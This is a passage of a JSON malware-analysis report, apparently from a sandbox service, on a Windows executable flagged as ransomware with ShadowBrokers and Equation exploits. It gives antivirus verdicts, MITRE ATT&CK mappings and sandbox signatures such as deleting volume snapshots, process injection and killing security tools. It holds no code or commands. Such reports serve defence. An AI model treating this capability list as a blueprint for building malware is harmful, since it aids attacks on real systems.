B","49152:zlhgyBI","49152:lhgyBIj","49152:hgyBIjV","49152:gyBIjVp","49152:yBIjVpP","49152:BIjVpPZ","49152:IjVpPZH","49152:jVpPZHZ","49152:VpPZHZl","49152:pPZHZlP","49152:PZHZlPp","49152:ZHZlPpL","49152:HZlPpLP","49152:ZlPpLPk","49152:lPpLPk0","49152:PpLPk0v","49152:pLPk0vg","49152:LPk0vgl","49152:Pk0vglJ","49152:k0vglJI","49152:0vglJIA","49152:vglJIAc","49152:glJIAc/","49152:lJIAc/8","49152:JIAc/8K","49152:IAc/8KY","49152:Ac/8KYB","49152:c/8KYBs","49152:/8KYBsx","49152:8KYBsxd","49152:KYBsxdO","49152:YBsxdO0","49152:BsxdO0G","49152:sxdO0G7","49152:xdO0G7x","49152:dO0G7x+","49152:O0G7x+d","49152:0G7x+dP","49152:G7x+dP1","49152:7x+dP1Y","49152:x+dP1Y+","98304:tzlhgyB","98304:zlhgyBI","98304:lhgyBIj","98304:hgyBIjV","98304:gyBIjVp","98304:yBIjVpP","98304:BIjVpPZ","98304:IjVpPZH","98304:jVpPZHZ","98304:VpPZHZl","98304:pPZHZlP","98304:PZHZlPp","98304:ZHZlPpL","98304:HZlPpLP","98304:ZlPpLPk","98304:lPpLPk0","98304:PpLPk0v","98304:pLPk0vg","98304:LPk0vgl","98304:Pk0vglJ","98304:k0vglJI","98304:0vglJIA","98304:vglJIAc","98304:glJIAc/","98304:lJIAc/8","98304:JIAc/8K","98304:IAc/8KY","98304:Ac/8KYB","98304:c/8KYBs","98304:/8KYBsx","98304:8KYBsxd","98304:KYBsxdO","98304:YBsxdO0","98304:BsxdO0G","98304:sxdO0G7","98304:xdO0G7x","98304:dO0G7x+","98304:O0G7x+d","98304:0G7x+dP","98304:G7x+dP1","98304:7x+dP1Y","98304:x+dP1Y+","49152:zy9jRZl","49152:y9jRZlF","49152:9jRZlFk","49152:jRZlFkn","49152:RZlFknv","49152:ZlFknvz","49152:lFknvzc","49152:FknvzcE","49152:knvzcEK","49152:nvzcEKY","49152:vzcEKY8","49152:zcEKY8d","49152:cEKY8dO","49152:EKY8dOD","49152:KY8dOD7","49152:Y8dOD7x","49152:8dOD7x8","49152:dOD7x8N","49152:OD7x8NY"],"imphash":"9586355d3c001552543f5fa27b1cb240"},"file_info":{"file_name":"Sample_5bc9d9bedac6ed6ea97780df.bin","file_type":["neexe","executable"],"file_type_id":"dos","file_size":2477056,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1541404068000,"last_seen":1760719015000,"last_multi_scan":1760719015000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["tag","backdoor","exploit","hacktool","mimikatz","ransomware","apt","equation","ausiv","c99shell","coxwepo","cve-2014-4114","eqtonex","genmaldwn","metasploit","meterpreter","poison","poisonivy","rat","rozena","sivis"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":41},"sandbox_signatures":{"informative_count":49,"suspicious_count":39,"malicious_count":16,"total":104},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.ShadowBrokers","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Script.EquationDrug","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Dropper.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"GenPack:Generic.Malware.FBV2.3B8E5264","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Ransomware.Katyusha-6731955-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"GenPack:Generic.Malware.FBV2.3B8E5264 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Exploit.Equation.M trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Ransom.Win32.Filecoder.ko!s1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/MalBehav.gen!B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Exploit.Win32.ShadowBrokers.fjdbmh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Exploit.Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ShadowBroker.F.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Ransom.BFH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.BitCoinMiner","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_67.4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.EquationDrug.Win32.394","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"GenPack:Generic.Malware.FBV2","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to install a hook procedure (API string)"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"malicious","value":"Uses tskill/taskkill excessively (often used to disable security tools)"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"},{"type":"suspicious","value":"Reads information about supported languages"},{"type":"suspicious","value":"Reads the active computer name"},{"type":"suspicious","value":"Queries the display settings of system associated file extensions"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"suspicious","value":"Queries process information"},{"type":"suspicious","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"malicious","value":"Terminates other processes using tskill/taskkill"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Impact","technique":"Inhibit System Recovery","attack_id":"T1490","attack_id_wiki":"https://attack.mitre.org/techniques/T1490","identifiers":[{"type":"malicious","value":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to query volume size"},{"type":"suspicious","value":"Calls an API's typically used for searching a directory for a files"},{"type":"suspicious","value":"Tries to access non-existent files"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"suspicious","value":"Contains ability to retrieve a module handle for the specified module"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"suspicious","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"suspicious","value":"Calls an API typically get system version information"},{"type":"suspicious","value":"Contains ability to retrieve the specified system metric or system configuration setting"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"suspicious","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Imports GetEnvironmentVariable API"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to query the machine version"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Imports windows networking related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to take screen capture of the target machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"suspicious","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","identifiers":[{"type":"malicious","value":"Deletes volume snapshots (often used by ransomware)"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Defense Evasion","technique":"Disabling Security Tools","attack_id":"T1089","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1089","identifiers":[{"type":"malicious","value":"Uses tskill/taskkill excessively (often used to disable security tools)"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Discovery","technique":"Network Service Scanning","attack_id":"T1046","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1046","identifiers":[{"type":"suspicious","value":"Detected increased number of ARP broadcast requests (network device lookup)"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1016","identifiers":[{"type":"malicious","value":"Detected a large number of ARP broadcast requests (network device lookup)"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1076","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1076","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"tactic":"Exfiltration","technique":"Data Compressed","attack_id":"T1002","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"$27","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"taskkill.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"$28","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"KillDuplicate.cmd\" as clean (type is \"ASCII text with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$29","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"$2a","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"katyusha.exe\" searching for class \"ConsoleWindowClass\"\n \"ktsi.exe\" searching for class \"ConsoleWindowClass\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2b","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$2c","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"katyusha.exe\" connecting to \"\\ThemeApiPort\"\n \"zkts.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$2d","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$2e","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"katyusha.exe\" (Access type: \"CREATE\"; Path: \"\\REGISTRY\\MACHINE\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"katyusha.exe\" (Access type: \"CREATE\"; Path: \"SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry 